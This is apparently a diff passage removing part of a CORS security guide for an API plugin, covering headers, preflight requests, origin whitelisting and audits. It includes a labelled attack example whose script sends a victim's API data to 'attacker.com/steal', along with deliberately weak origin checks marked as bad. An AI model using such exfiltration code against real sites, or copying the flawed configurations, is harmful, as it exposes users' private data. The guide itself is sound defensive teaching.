- - Wildcard: `Access-Control-Allow-Origin: *` (not allowed with credentials)
1361
- - Dynamic: Server echoes the request's Origin if allowed
1362
- - Missing: Browser blocks the response
1363
-
1364
- **Common Mistakes:**
1365
- ```javascript
1366
- // WRONG - Multiple origins in header
1367
- response.headers['Access-Control-Allow-Origin'] = 'https://a.com, https://b.com';
1368
-
1369
- // RIGHT - Echo the allowed origin
1370
- if (allowedOrigins.includes(request.headers.origin)) {
1371
- response.headers['Access-Control-Allow-Origin'] = request.headers.origin;
1372
- }
1373
- ```
1374
- | `Access-Control-Allow-Credentials` | **Security Critical** - Allows browser to include cookies and auth headers | `true` |
1375
-
1376
- **Deep Dive: Access-Control-Allow-Credentials**
1377
- - Only valid value is `true` (or omit header)
1378
- - Forces origin to be specific (no wildcard)
1379
- - Required for:
1380
- - Cookie-based sessions
1381
- - HTTP authentication
1382
- - Client certificates
1383
-
1384
- **Security Impact:**
1385
- ```javascript
1386
- // DANGEROUS - Never do this
1387
- response.headers['Access-Control-Allow-Origin'] = '*';
1388
- response.headers['Access-Control-Allow-Credentials'] = 'true';
1389
- // Browsers will reject this combination
1390
-
1391
- // SECURE - Specific origin with credentials
1392
- response.headers['Access-Control-Allow-Origin'] = 'https://app.example.com';
1393
- response.headers['Access-Control-Allow-Credentials'] = 'true';
1394
- ```
1395
- | `Access-Control-Allow-Methods` | **Preflight Only** - Lists which HTTP methods are allowed | `GET, POST, PUT, DELETE, OPTIONS` |
1396
-
1397
- **Deep Dive: Access-Control-Allow-Methods**
1398
- - Only sent in preflight responses (OPTIONS)
1399
- - Lists all methods the client can use
1400
- - Case-sensitive (use uppercase)
1401
- - Must include the requested method
1402
-
1403
- **Example Scenarios:**
1404
- ```javascript
1405
- // Read-only API
1406
- headers['Access-Control-Allow-Methods'] = 'GET, OPTIONS';
1407
-
1408
- // Full CRUD API
1409
- headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, PATCH, DELETE, OPTIONS';
1410
-
1411
- // Custom methods
1412
- headers['Access-Control-Allow-Methods'] = 'GET, POST, PURGE, OPTIONS';
1413
- ```
1414
- | `Access-Control-Allow-Headers` | **Preflight Only** - Lists headers the client can include | `Content-Type, Authorization, X-Requested-With` |
1415
-
1416
- **Deep Dive: Access-Control-Allow-Headers**
1417
- - Only in preflight responses
1418
- - Must include all headers the client will send
1419
- - Some headers are always allowed ("simple headers")
1420
- - Case-insensitive
1421
-
1422
- **Simple Headers (always allowed):**
1423
- - `Accept`
1424
- - `Accept-Language`
1425
- - `Content-Language`
1426
- - `Content-Type` (only for simple values)
1427
-
1428
- **Headers That Need Permission:**
1429
- ```javascript
1430
- // API using various auth methods
1431
- headers['Access-Control-Allow-Headers'] = [
1432
- 'Authorization', // Bearer tokens
1433
- 'X-API-Key', // API keys
1434
- 'X-CSRF-Token', // CSRF protection
1435
- 'Content-Type', // For JSON payloads
1436
- 'X-Requested-With' // AJAX detection
1437
- ].join(', ');
1438
- ```
1439
- | `Access-Control-Expose-Headers` | **Response Only** - Makes custom headers readable to JavaScript | `X-Total-Count, X-RateLimit-Remaining` |
1440
-
1441
- **Deep Dive: Access-Control-Expose-Headers**
1442
- - By default, JS can only read "simple response headers"
1443
- - This header exposes additional headers
1444
- - Only affects what JavaScript can read
1445
- - The network tab shows all headers regardless
1446
-
1447
- **Default Readable Headers:**
1448
- - `Cache-Control`
1449
- - `Content-Language`
1450
- - `Content-Type`
1451
- - `Expires`
1452
- - `Last-Modified`
1453
- - `Pragma`
1454
-
1455
- **Common Custom Headers to Expose:**
1456
- ```javascript
1457
- headers['Access-Control-Expose-Headers'] = [
1458
- // Pagination
1459
- 'X-Total-Count',
1460
- 'X-Page-Count',
1461
- 'Link',
1462
-
1463
- // Rate Limiting
1464
- 'X-RateLimit-Limit',
1465
- 'X-RateLimit-Remaining',
1466
- 'X-RateLimit-Reset',
1467
-
1468
- // API Info
1469
- 'X-Response-Time',
1470
- 'X-Request-ID'
1471
- ].join(', ');
1472
- ```
1473
- | `Access-Control-Max-Age` | **Performance** - How long browser can cache preflight | `86400` (24 hours) |
1474
-
1475
- **Deep Dive: Access-Control-Max-Age**
1476
- - Reduces preflight requests
1477
- - Value in seconds
1478
- - Browser maximum varies (Chrome: 2 hours, Firefox: 24 hours)
1479
- - Set lower during development
1480
-
1481
- **Optimization Strategies:**
1482
- ```javascript
1483
- // Development - quick changes
1484
- headers['Access-Control-Max-Age'] = '60'; // 1 minute
1485
-
1486
- // Staging - moderate caching
1487
- headers['Access-Control-Max-Age'] = '3600'; // 1 hour
1488
-
1489
- // Production - maximum caching
1490
- headers['Access-Control-Max-Age'] = '86400'; // 24 hours
1491
- ```
1492
- | `Vary` | **Caching Hint** - Tells proxies/CDNs response varies by Origin | `Origin` |
1493
-
1494
- **Deep Dive: Vary Header**
1495
- - Critical for CDNs and proxies
1496
- - Prevents wrong CORS headers being cached
1497
- - Should always include `Origin` when CORS headers vary
1498
-
1499
- **Why It Matters:**
1500
- ```javascript
1501
- // Without Vary: Origin
1502
- // 1. CDN caches response for https://a.com
1503
- // 2. Request from https://b.com gets cached response
1504
- // 3. Browser sees wrong Access-Control-Allow-Origin
1505
-
1506
- // With Vary: Origin
1507
- // CDN caches separate responses per origin
1508
- response.headers['Vary'] = 'Origin';
1509
- ```
1510
-
1511
- #### Additional CORS Headers
1512
-
1513
- | Header | Purpose | When Used |
1514
- |--------|---------|--------|
1515
- | `Access-Control-Request-Method` | **Request** - Asks permission for HTTP method | Preflight requests |
1516
- | `Access-Control-Request-Headers` | **Request** - Asks permission for headers | Preflight requests |
1517
- | `Origin` | **Request** - Identifies requesting origin | All CORS requests |
1518
-
1519
- **Preflight Request Flow:**
1520
- ```
1521
- Browser → Server:
1522
- OPTIONS /api/users
1523
- Origin: https://app.example.com
1524
- Access-Control-Request-Method: POST
1525
- Access-Control-Request-Headers: Content-Type, X-API-Key
1526
-
1527
- Server → Browser:
1528
- 204 No Content
1529
- Access-Control-Allow-Origin: https://app.example.com
1530
- Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
1531
- Access-Control-Allow-Headers: Content-Type, X-API-Key
1532
- Access-Control-Max-Age: 86400
1533
- ```
1534
-
1535
- ## Security Considerations
1536
-
1537
- CORS is a security feature, but misconfiguration can create vulnerabilities. Here's what you need to know:
1538
-
1539
- ### 1. Never Use Wildcard with Credentials
1540
-
1541
- **The Rule:** When `credentials: true`, you MUST specify exact origins, never use `*`.
1542
-
1543
- **Why This Matters:**
1544
- ```javascript
1545
- // VULNERABLE - This configuration is dangerous
1546
- await api.use(CorsPlugin, {
1547
- 'rest-api-cors': {
1548
- origin: '*',
1549
- credentials: true // Browser will reject this!
1550
- }
1551
- });
1552
- ```
1553
-
1554
- **What Could Happen:**
1555
- If browsers allowed this:
1556
- 1. Evil site `https://attacker.com` loads in user's browser
1557
- 2. User is logged into your API (has auth cookie)
1558
- 3. Evil site makes request to your API
1559
- 4. Browser would send user's cookies
1560
- 5. Attacker gets user's private data
1561
-
1562
- **The Safe Way:**
1563
- ```javascript
1564
- // SECURE - Explicit origins only
1565
- await api.use(CorsPlugin, {
1566
- 'rest-api-cors': {
1567
- origin: ['https://app.mycompany.com', 'https://admin.mycompany.com'],
1568
- credentials: true
1569
- }
1570
- });
1571
- ```
1572
-
1573
- **Real Attack Example:**
1574
- ```html
1575
- <!-- On attacker.com -->
1576
- <script>
1577
- // If wildcard+credentials worked, this would steal user data
1578
- fetch('https://api.yourcompany.com/user/private-data', {
1579
- credentials: 'include' // Would send victim's cookies
1580
- })
1581
- .then(r => r.json())
1582
- .then(data => {
1583
- // Send stolen data to attacker
1584
- fetch('https://attacker.com/steal', {
1585
- method: 'POST',
1586
- body: JSON.stringify(data)
1587
- });
1588
- });
1589
- </script>
1590
- ```
1591
- ### 2. Validate Origins Against a Whitelist
1592
-
1593
- **The Rule:** Never trust user input. Always validate origins against known good values.
1594
-
1595
- **Why This Matters:**
1596
- The `Origin` header comes from the browser, but:
1597
- - Can be spoofed in non-browser requests
1598
- - Might contain unexpected values
1599
- - Could be used for reconnaissance
1600
-
1601
- **Bad Example - Dangerous Pattern:**
1602
- ```javascript
1603
- // NEVER DO THIS - Accepts any origin
1604
- await api.use(CorsPlugin, {
1605
- 'rest-api-cors': {
1606
- origin: (origin) => {
1607
- return true; // Accepts everything!
1608
- }
1609
- }
1610
- });
1611
-
1612
- // ALSO BAD - Weak validation
1613
- await api.use(CorsPlugin, {
1614
- 'rest-api-cors': {
1615
- origin: (origin) => {
1616
- return origin.includes('mycompany'); // subdomain.mycompany.evil.com would pass!
1617
- }
1618
- }
1619
- });
1620
- ```
1621
-
1622
- **Good Example - Secure Validation:**
1623
- ```javascript
1624
- // SECURE - Whitelist approach
1625
- const allowedOrigins = new Set([
1626
- 'https://app.mycompany.com',
1627
- 'https://admin.mycompany.com',
1628
- 'https://staging.mycompany.com'
1629
- ]);
1630
-
1631
- await api.use(CorsPlugin, {
1632
- 'rest-api-cors': {
1633
- origin: (origin) => {
1634
- // Strict whitelist check
1635
- if (allowedOrigins.has(origin)) {
1636
- return true;
1637
- }
1638
-
1639
- // Log rejected attempts
1640
- console.warn('CORS: Rejected origin:', origin);
1641
- return false;
1642
- }
1643
- }
1644
- });
1645
-
1646
- // SECURE - Database-driven whitelist
1647
- await api.use(CorsPlugin, {
1648
- 'rest-api-cors': {
1649
- origin: async (origin) => {
1650
- const allowed = await db('allowed_origins')
1651
- .where({ origin, active: true })
1652
- .first();
1653
-
1654
- if (!allowed) {
1655
- // Security event logging
1656
- await db('security_events').insert({
1657
- type: 'cors_rejection',
1658
- origin,
1659
- timestamp: new Date(),
1660
- ip: requestIp // If available
1661
- });
1662
- }
1663
-
1664
- return !!allowed;
1665
- }
1666
- }
1667
- });
1668
- ```
1669
-
1670
- **Advanced Pattern Recognition:**
1671
- ```javascript
1672
- // Be careful with patterns
1673
- const secureOriginValidator = (origin) => {
1674
- // Prevent subdomain takeover attacks
1675
- const parsed = new URL(origin);
1676
-
1677
- // Must be HTTPS
1678
- if (parsed.protocol !== 'https:') return false;
1679
-
1680
- // Check against allowed patterns
1681
- const allowedPatterns = [
1682
- /^https:\/\/[a-z0-9-]+\.mycompany\.com$/, // Subdomains
1683
- /^https:\/\/localhost:\d+$/ // Local dev only
1684
- ];
1685
-
1686
- return allowedPatterns.some(pattern => pattern.test(origin));
1687
- };
1688
- ```
1689
- ### 3. Limit Exposed Headers
1690
-
1691
- **The Rule:** Only expose headers that client applications actually need to read.
1692
-
1693
- **Why This Matters:**
1694
- Exposed headers can leak information:
1695
- - Internal system details
1696
- - User information
1697
- - Infrastructure details
1698
- - Security tokens
1699
-
1700
- **Bad Example - Over-Exposure:**
1701
- ```javascript
1702
- // TOO MUCH INFORMATION
1703
- await api.use(CorsPlugin, {
1704
- 'rest-api-cors': {
1705
- exposedHeaders: [
1706
- 'X-Powered-By', // Reveals server technology
1707
- 'X-Server-Instance', // Infrastructure details
1708
- 'X-Internal-Request-ID', // Internal tracking
1709
- 'X-Database-Query-Time', // Performance details
1710
- 'X-User-Internal-ID', // Internal user IDs
1711
- 'X-Debug-Info' // Debug information
1712
- ]
1713
- }
1714
- });
1715
- ```
1716
-
1717
- **Good Example - Minimal Exposure:**
1718
- ```javascript
1719
- // SECURE - Only what's needed
1720
- await api.use(CorsPlugin, {
1721
- 'rest-api-cors': {
1722
- exposedHeaders: [
1723
- // Pagination - needed for UI
1724
- 'X-Total-Count',
1725
- 'Link',
1726
-
1727
- // Rate limiting - needed for client backoff
1728
- 'X-RateLimit-Remaining',
1729
- 'X-RateLimit-Reset'
1730
-
1731
- // Nothing else!
1732
- ]
1733
- }
1734
- });
1735
- ```
1736
-
1737
- **Security Headers to Never Expose:**
1738
- ```javascript
1739
- // NEVER expose these headers
1740
- const dangerousHeaders = [
1741
- 'X-Internal-User-Role', // Internal permissions
1742
- 'X-Session-Token', // Session identifiers
1743
- 'X-Database-Connection', // Infrastructure
1744
- 'X-Internal-Error-Details', // Stack traces
1745
- 'X-Employee-ID', // Internal IDs
1746
- 'X-AWS-Request-ID' // Cloud provider details
1747
- ];
1748
- ```
1749
-
1750
- **Dynamic Header Exposure:**
1751
- ```javascript
1752
- // Expose different headers based on user role
1753
- api.addHook('transport:response', 'dynamic-expose', async ({ context, response }) => {
1754
- const userRole = context.user?.role;
1755
-
1756
- if (userRole === 'developer') {
1757
- // Developers get debug headers
1758
- response.headers['Access-Control-Expose-Headers'] += ', X-Query-Time, X-Cache-Status';
1759
- } else {
1760
- // Regular users get minimal headers
1761
- response.headers['Access-Control-Expose-Headers'] = 'X-Total-Count';
1762
- }
1763
- });
1764
- ```
1765
- ### 4. Always Use HTTPS in Production
1766
-
1767
- **The Rule:** CORS is not a replacement for HTTPS. Always use HTTPS in production.
1768
-
1769
- **Why This Matters:**
1770
- CORS only controls which websites can access your API from a browser. It doesn't:
1771
- - Encrypt data in transit
1772
- - Prevent man-in-the-middle attacks
1773
- - Authenticate the server
1774
- - Protect against network sniffing
1775
-
1776
- **What CORS Does vs What HTTPS Does:**
1777
-
1778
- | Security Aspect | CORS | HTTPS |
1779
- |----------------|------|-------|
1780
- | Prevents malicious websites | ✅ | ❌ |
1781
- | Encrypts data in transit | ❌ | ✅ |
1782
- | Authenticates server identity | ❌ | ✅ |
1783
- | Prevents MITM attacks | ❌ | ✅ |
1784
- | Protects cookies | Partial | ✅ |
1785
-
1786
- **Production Configuration:**
1787
- ```javascript
1788
- // SECURE - HTTPS only in production
1789
- if (process.env.NODE_ENV === 'production') {
1790
- // Enforce HTTPS origins only
1791
- await api.use(CorsPlugin, {
1792
- 'rest-api-cors': {
1793
- origin: (origin) => {
1794
- if (!origin.startsWith('https://')) {
1795
- console.warn('Rejected non-HTTPS origin:', origin);
1796
- return false;
1797
- }
1798
- return allowedOrigins.includes(origin);
1799
- }
1800
- }
1801
- });
1802
-
1803
- // Also enforce secure cookies
1804
- app.use(session({
1805
- cookie: {
1806
- secure: true, // HTTPS only
1807
- httpOnly: true, // No JS access
1808
- sameSite: 'strict' // CSRF protection
1809
- }
1810
- }));
1811
- }
1812
- ```
1813
-
1814
- **Common HTTPS + CORS Issues:**
1815
- ```javascript
1816
- // Mixed content problems
1817
- // If API is HTTPS but allows HTTP origins:
1818
- await api.use(CorsPlugin, {
1819
- 'rest-api-cors': {
1820
- origin: [
1821
- 'https://app.example.com', // Good
1822
- 'http://app.example.com' // Bad - browser may block
1823
- ]
1824
- }
1825
- });
1826
-
1827
- // Solution: Redirect HTTP to HTTPS
1828
- app.use((req, res, next) => {
1829
- if (req.header('x-forwarded-proto') !== 'https') {
1830
- res.redirect(`https://${req.header('host')}${req.url}`);
1831
- } else {
1832
- next();
1833
- }
1834
- });
1835
- ```
1836
- ### 5. Regular Security Audits
1837
-
1838
- **The Rule:** Periodically review and audit your CORS configuration to remove unused origins and tighten security.
1839
-
1840
- **Why This Matters:**
1841
- - Old partner domains might be compromised
1842
- - Development/staging URLs might leak to production
1843
- - Subdomain takeover attacks
1844
- - Accumulated technical debt
1845
-
1846
- **Audit Checklist:**
1847
-
1848
- ```javascript
1849
- // 1. Log and monitor origin usage
1850
- const originStats = new Map();
1851
-
1852
- api.addHook('transport:request', 'origin-monitor', async ({ request }) => {
1853
- const origin = request.headers.origin;
1854
- if (origin) {
1855
- const stats = originStats.get(origin) || { count: 0, lastSeen: null };
1856
- stats.count++;
1857
- stats.lastSeen = new Date();
1858
- originStats.set(origin, stats);
1859
- }
1860
- });
1861
-
1862
- // 2. Regular audit function
1863
- async function auditCorsOrigins(corsConfig) {
1864
- console.log('=== CORS Origin Audit ===');
1865
-
1866
- // Check configured origins
1867
- console.log('Configured origins:', corsConfig.origin);
1868
-
1869
- // Show usage stats
1870
- console.log('\nOrigin Usage (last 30 days):');
1871
- for (const [origin, stats] of originStats) {
1872
- console.log(`${origin}: ${stats.count} requests, last: ${stats.lastSeen}`);
1873
- }
1874
-
1875
- // Check for unused origins
1876
- const unusedDays = 30;
1877
- const cutoff = new Date(Date.now() - unusedDays * 24 * 60 * 60 * 1000);
1878
-
1879
- console.log('\nPotentially unused origins:');
1880
- for (const [origin, stats] of originStats) {
1881
- if (stats.lastSeen < cutoff) {
1882
- console.log(`${origin} - Last used: ${stats.lastSeen}`);
1883
- }
1884
- }
1885
- }
1886
-
1887
- // 3. Run monthly
1888
- setInterval(auditCorsOrigins, 30 * 24 * 60 * 60 * 1000);
1889
- ```
1890
-
1891
- **Automated Security Checks:**
1892
- ```javascript
1893
- // Check for subdomain takeover risks
1894
- async function checkSubdomainTakeover(corsConfig) {
1895
- const origins = Array.isArray(corsConfig.origin) ? corsConfig.origin : [corsConfig.origin];
1896
-
1897
- for (const origin of origins) {
1898
- try {
1899
- const url = new URL(origin);
1900
- const response = await fetch(url.origin);
1901
-
1902
- // Check if domain still points to your infrastructure
1903
- if (!response.ok || !response.headers.get('x-your-app')) {
1904
- console.error(`SECURITY RISK: ${origin} may be compromised`);
1905
- // Send alert to security team
1906
- }
1907
- } catch (error) {
1908
- console.error(`Cannot verify ${origin}: ${error.message}`);
1909
- }
1910
- }
1911
- }
1912
- ```
1913
-
1914
- **Origin Management Best Practices:**
1915
- ```javascript
1916
- // Track allowed origins in your configuration
1917
- const corsOrigins = {
1918
- production: [
1919
- 'https://app.example.com',
1920
- 'https://admin.example.com'
1921
- ],
1922
- staging: [
1923
- 'https://staging.example.com',
1924
- 'https://preview.example.com'
1925
- ],
1926
- development: '*'
1927
- };
1928
-
1929
- // Use environment-based configuration
1930
- await api.use(CorsPlugin, {
1931
- 'rest-api-cors': {
1932
- origin: corsOrigins[process.env.NODE_ENV] || corsOrigins.development
1933
- }
1934
- });
1935
-
1936
- // To add or remove origins, update the configuration and restart the server
1937
- // This ensures all server instances have consistent CORS settings
1938
- ```
1939
-
1940
- **Security Alerts:**
1941
- ```javascript
1942
- // Alert on suspicious patterns
1943
- api.addHook('transport:request', 'security-alert', async ({ request }) => {
1944
- const origin = request.headers.origin;
1945
-
1946
- // Check for suspicious patterns
1947
- if (origin && (
1948
- origin.includes('ngrok.io') ||
1949
- origin.includes('localhost.run') ||
1950
- origin.includes('.local') ||
1951
- origin.match(/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
1952
- )) {
1953
- console.warn('SECURITY ALERT: Suspicious origin detected:', origin);
1954
- // Send to security monitoring
1955
- }
1956
- });
1957
- ```